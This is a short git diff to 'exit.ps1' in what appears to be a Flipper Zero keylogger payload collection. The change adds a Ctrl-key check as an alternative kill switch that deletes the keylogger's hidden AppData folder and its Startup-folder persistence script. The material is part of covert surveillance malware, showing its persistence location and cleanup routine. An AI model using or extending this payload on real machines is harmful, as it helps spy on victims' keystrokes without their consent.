diff --git a/Payloads/Flip-Keylogger/exit.ps1 b/Payloads/Flip-Keylogger/exit.ps1 index dff630c..c86c34d 100644 --- a/Payloads/Flip-Keylogger/exit.ps1 +++ b/Payloads/Flip-Keylogger/exit.ps1 @@ -1,5 +1,10 @@ +Add-Type -AssemblyName WindowsBase +Add-Type -AssemblyName PresentationCore +$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') +$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl') + while($true){ -if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")){ +if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt") -or $Rctrl -and $Lctrl){ sleep 10 Remove-Item "$env:appdata\-locker" -Recurse -Force; Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"